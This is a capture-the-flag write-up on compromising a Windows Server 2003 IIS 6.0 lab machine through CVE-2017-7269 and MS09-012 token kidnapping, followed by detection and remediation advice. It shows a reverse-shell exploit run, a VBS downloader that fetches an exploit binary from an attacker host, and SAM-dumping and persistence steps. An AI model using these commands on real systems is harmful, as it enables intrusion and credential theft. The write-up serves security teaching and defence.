Overview
Grandpa is an Easy-rated Windows machine running Microsoft IIS 6.0 on Windows Server 2003 SP2. Port 80 is the only open port, serving the default “Under Construction” page with WebDAV enabled. No custom application is deployed; the entire attack surface is the IIS WebDAV interface itself.
The attack chain has two stages. CVE-2017-7269, a stack buffer overflow in
the ScStoragePathFromUrl function of the WebDAV PROPFIND handler, provides
unauthenticated code execution as NT AUTHORITY\NETWORK SERVICE. From there,
the SeImpersonatePrivilege held by the service account enables MS09-012
token kidnapping via churrasco.exe, escalating to NT AUTHORITY\SYSTEM.
This box demonstrates a pattern common in legacy Windows exploitation: the
initial foothold is unreliable (the buffer overflow corrupts the IIS worker
process on failure), but the privilege escalation is deterministic. The
exploit succeeded on the first attempt against a fresh instance. Multiple
retries corrupted w3wp.exe and required a box reset. Operational
discipline matters: one clean attempt, not fifteen.
Reconnaissance
I start with a service scan to identify what is listening:
nmap -sC -sV -A -T4 10.129.16.93| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Microsoft IIS httpd 6.0 | WebDAV enabled, default page served |
Only one port open. The remaining 999 scanned ports are filtered, indicating a host firewall (likely the Windows Server 2003 built-in ICF). The OS detection places this at Windows Server 2003 SP2 (kernel version 5.2.3790).
A single open port simplifies the attack surface analysis considerably. There is no SSH, no RDP, no SMB exposed. The only path in is through IIS.
WebDAV Enumeration
Nmap’s default scripts enumerate the allowed HTTP methods. PUT and DELETE
appear in the public OPTIONS response but return 403 Forbidden when
invoked. This is a common IIS 6.0 configuration: WebDAV is enabled for reads
but write methods are restricted by NTFS ACLs or IIS authorization rules.
PROPFIND returns 207 Multi-Status, confirming the read path through WebDAV is accessible without authentication.
curl -sI http://10.129.16.93/
# Server: Microsoft-IIS/6.0
# MicrosoftOfficeWebServer: 5.0_Pub
# X-Powered-By: ASP.NETThe MicrosoftOfficeWebServer: 5.0_Pub header confirms WebDAV publishing
extensions (the SharePoint-era “web publishing” feature set) are active. The
X-Powered-By: ASP.NET header indicates the .NET ISAPI filter is loaded,
though no ASP.NET application is deployed. The Last-Modified date of
February 2003 confirms the default page has not been touched since OS
installation.
Attack Surface Analysis
With only port 80 and no custom application, the attack surface reduces to the IIS 6.0 WebDAV service itself. Write methods are blocked. PROPFIND is accessible without authentication. This narrows the search to vulnerabilities in the PROPFIND handler’s parsing logic.
I considered two approaches before settling on CVE-2017-7269. The first was
uploading a webshell via PUT or MOVE (the classic IIS 6.0 webshell technique
using semicolon filename parsing, e.g. shell.asp;.jpg). PUT returns 403,
and MOVE requires an existing resource, so this path is blocked. The second
was CVE-2017-7269 itself: a buffer overflow in ScStoragePathFromUrl
triggered by a crafted If header in PROPFIND requests.
Vulnerability Analysis
| Attribute | Value |
|---|---|
| CVE | CVE-2017-7269 |
| CVSS v3.1 | 9.8 (Critical) |
| CWE | CWE-119 (Buffer Overflow) |
| Root cause | Stack buffer overflow in ScStoragePathFromUrl parsing the PROPFIND If header |
| Affected | IIS 6.0 with WebDAV enabled |
| Fixed in | Never patched (Server 2003 EOL July 2015; CVE disclosed March 2017) |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
Microsoft never issued a patch. Windows Server 2003 reached end-of-life in July 2015, two years before this CVE was disclosed in March 2017. No KB article exists. The vulnerability was discovered by Zhiniang Peng and Chen Wu of Huazhong University of Science and Technology.
The ScStoragePathFromUrl function converts URL paths from PROPFIND If
headers into local filesystem paths. It uses a fixed-size stack buffer for
this conversion. When the If header contains two specially crafted
http:// URLs with specific Unicode characters, the combined path length
overflows the stack buffer, overwriting the saved return address and SEH
(Structured Exception Handler) chain.
The exploit constructs the overflow to redirect execution to a ROP chain
embedded in the same request. The ROP gadgets are sourced from msvcrt.dll
and ntdll.dll addresses that are fixed on Server 2003 SP2 (ASLR was not
introduced until Windows Vista). The final ROP gadget pivots to
attacker-controlled shellcode in the heap.
The vulnerability sits in httpext.dll, the WebDAV extension DLL. The
PROPFIND handler processes the If header before any authentication or
authorisation check, making the overflow reachable without credentials.
The unreliability stems from heap layout sensitivity. The shellcode relies on
a specific heap state; if the IIS worker process has handled prior requests
that fragment the heap, the exploit may crash w3wp.exe instead of gaining
code execution. A fresh worker process provides the most reliable target.
Exploitation
I use the g0rx proof-of-concept, ported to Python 3, which constructs the
malicious PROPFIND request with embedded reverse shell shellcode. I chose
this over the Metasploit module (exploit/windows/iis/iis_webdav_scstoragepathfromurl)
because the standalone script gives direct control over the shellcode and
avoids Metasploit’s session management overhead for a single-stage exploit.
# Start listener
nc -lvnp 4444
# Send exploit
python3 exploit_grandpa.py 10.129.16.93 80 10.10.14.5 4444connect to [10.10.14.5] from (UNKNOWN) [10.129.16.93] 1030
Microsoft Windows [Version 5.2.3790]
C:\WINDOWS\system32>whoami
nt authority\network serviceThe shell lands as NETWORK SERVICE. This is the default identity for IIS
6.0 worker processes (IIS 7.0+ introduced ApplicationPoolIdentity as the
default). NETWORK SERVICE cannot read user profile directories, but it
holds SeImpersonatePrivilege: the key to escalation on Windows.
Privilege Escalation: MS09-012 Token Kidnapping
I confirm the available privileges:
whoami /priv
# SeImpersonatePrivilege Impersonate a client after authentication EnabledSeImpersonatePrivilege allows a process to impersonate any token it can
obtain a handle to. On modern Windows (Server 2016+), the Potato family of
exploits (RottenPotato, JuicyPotato, PrintSpoofer, GodPotato) abuse this
privilege by coercing a SYSTEM-level service to authenticate to the
attacker’s listener, then impersonating the resulting token. On Server 2003,
the equivalent tool is churrasco.exe, which exploits MS09-012 (a local
privilege escalation in the Windows DCOM/RPC infrastructure) to obtain a
SYSTEM token.
The challenge on Server 2003 is file transfer. certutil -urlcache,
bitsadmin download mode, and PowerShell are all absent. The available
options are: FTP (requires ftp.exe and a server), TFTP (requires
tftp.exe, present on Server 2003 but blocked by most firewalls), SMB copy
(requires an exposed share), or scripted HTTP download via COM objects. I
chose the VBS downloader approach because it depends only on COM objects
that exist on every Windows installation since Windows 2000:
# On target: write VBS downloader line by line
echo Set o=CreateObject("Microsoft.XMLHTTP") > d.vbs
echo o.Open "GET","http://10.10.14.5:8888/churrasco.exe",False >> d.vbs
echo o.Send >> d.vbs
echo Set s=CreateObject("ADODB.Stream") >> d.vbs
echo s.Open >> d.vbs
echo s.Type=1 >> d.vbs
echo s.Write o.ResponseBody >> d.vbs
echo s.SaveToFile "C:\WINDOWS\Temp\c.exe",2 >> d.vbs
echo s.Close >> d.vbs
cscript d.vbsThe Microsoft.XMLHTTP object handles the HTTP GET; ADODB.Stream writes
the binary response body to disk. This two-object pattern is the standard
file transfer primitive on pre-PowerShell Windows.
Churrasco executes a command as SYSTEM by impersonating a token obtained
through DCOM activation. Paths containing spaces (like Documents and Settings) require 8.3 short filename notation because churrasco passes the
command string directly to CreateProcessAsUser without quoting:
C:\WINDOWS\Temp>c.exe "type DOCUME~1\Harry\Desktop\user.txt"
[flag redacted]
C:\WINDOWS\Temp>c.exe "type DOCUME~1\ADMINI~1\Desktop\root.txt"
[flag redacted]Both flags captured.
Post-Exploitation
Full SYSTEM access confirmed via churrasco:
systeminfo | findstr /B /C:"OS"
# OS Name: Microsoft Windows Server 2003 R2 Standard Edition
# OS Version: 5.2.3790 Service Pack 2 Build 3790
whoami
# nt authority\systemTwo user profiles exist: Harry and Administrator. In a production
environment, the post-exploitation checklist would include:
- SAM database extraction:
reg save HKLM\SAM sam.hivandreg save HKLM\SYSTEM sys.hiv, then offline extraction withsamdump2orsecretsdump.pyto recover NTLM hashes for all local accounts. - Cached domain credentials: Check
HKLM\SECURITYfor cached domain logon hashes if the host is domain-joined. Server 2003 stores up to 10 cached credentials by default. - Network reconnaissance:
ipconfig /allandroute printto identify internal subnets;net view /domainto discover domain membership. Server 2003 hosts often sit in legacy network segments with flat routing. - Persistence: A new local administrator account or a service binary replacement would survive reboots. On Server 2003, the SAM is not protected by Credential Guard or LSA Protection, making credential persistence straightforward.
VBS Downloader: Defensive Considerations
The Microsoft.XMLHTTP and ADODB.Stream COM objects exist on every
Windows installation from 2000 onward. Defenders monitoring legacy Windows
environments should alert on cscript.exe or wscript.exe spawned by
cmd.exe under a service account context (NETWORK SERVICE, LOCAL SERVICE). Windows Security Event 4688 (process creation) with command-line
auditing enabled captures the VBS filename argument, providing a detection
surface even without full script content logging.
Defensive Analysis
Detection Opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | IDS signature for oversized If headers in PROPFIND requests |
| Execution | T1059.005 | Process monitoring: cmd.exe spawned by w3wp.exe |
| Priv escalation | T1134.001 | Token impersonation: new process with SYSTEM token from NETWORK SERVICE |
| Defence evasion | T1059.005 | VBS script creation in C:\WINDOWS\Temp by a service account |
| File transfer | T1105 | Outbound HTTP from cscript.exe to non-standard port (8888) |
Network-level: The PROPFIND request carrying the overflow payload is
distinctive. The If header contains several kilobytes of encoded data,
including the Unicode sequences \x41\x41... that form the NOP sled and ROP
chain. No legitimate WebDAV client produces headers of this size or
structure. Snort and Suricata both ship rules matching oversized PROPFIND
If headers (SID 1:42344 and similar).
Host-level: The most reliable detection is process lineage. cmd.exe
spawned as a child of w3wp.exe is anomalous in any environment; IIS
worker processes should never spawn shells. The churrasco token
impersonation creates a process with a SYSTEM token from a NETWORK SERVICE
parent, producing a second high-fidelity detection: a privilege boundary
crossing visible in Event 4688 (with TokenElevationType logging enabled on
later Windows versions, though Server 2003 lacks this specific field).
Application-level: IIS access logs record the PROPFIND method and URI,
but not the If header content. The exploit is invisible in default IIS
logging. Enabling W3C extended logging with the cs(If) custom field would
capture the malicious header, but this configuration is rarely deployed.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Decommission Windows Server 2003 | High | Critical |
| P0 | If decommission is blocked, isolate on a dedicated VLAN with strict inbound/outbound ACLs | Medium | Critical |
| P1 | Disable WebDAV if not required (IIS Manager > Web Service Extensions > WebDAV > Prohibit) | Low | High |
| P1 | Remove SeImpersonatePrivilege from service accounts where impersonation is not needed | Low | High |
| P2 | Deploy network IDS with WebDAV protocol inspection (Snort/Suricata with ET Open rules) | Medium | Medium |
| P3 | Application whitelisting via Software Restriction Policies (the Server 2003 equivalent of AppLocker) to block execution of unsigned binaries in temp directories | Medium | Medium |
The core problem is the operating system. Server 2003 has been unsupported since July 2015. CVE-2017-7269 was disclosed two years after end-of-life; Microsoft’s position is that unsupported products do not receive security updates. Every component on this host is frozen at mid-2000s patch levels. IIS 6.0 alone has over 30 CVEs with public exploits. The correct remediation is decommissioning. Patching is not an option because no patches exist.
For environments where decommissioning is blocked by application dependencies (the usual justification for keeping Server 2003 alive), the minimum compensating controls are: network isolation to a dedicated segment, disabling all unnecessary IIS extensions (WebDAV, FrontPage, WebDAV publishing), and continuous monitoring with IDS rules tuned for IIS 6.0 exploit traffic.
Key Takeaways
-
End-of-life software creates unpatchable vulnerabilities. CVE-2017-7269 was disclosed two years after Server 2003 went EOL. No fix was ever released and none will be. Organisations running EOL systems accept the risk that new vulnerabilities will be discovered and exploited with zero vendor response. The question is not whether such vulnerabilities exist, but when they become public.
-
Token impersonation is a reliable escalation path on Windows. Any service account with
SeImpersonatePrivilege(NETWORK SERVICE, LOCAL SERVICE, and IIS application pool identities) on unpatched Windows can escalate to SYSTEM. The specific tool varies by OS version (churrasco for Server 2003, JuicyPotato for Server 2008/2012, PrintSpoofer and GodPotato for Server 2016+), but the underlying technique is the same: coerce a privileged service to authenticate, then impersonate the resulting token. Defenders should audit which accounts hold this privilege and whether they genuinely need it. -
Legacy environments demand creative tooling. Without PowerShell, certutil, or bitsadmin, file transfer on Server 2003 falls back to VBS COM objects or TFTP. Attackers adapt to the available toolset; defenders monitoring legacy systems should anticipate these older techniques rather than focusing exclusively on PowerShell-based detection.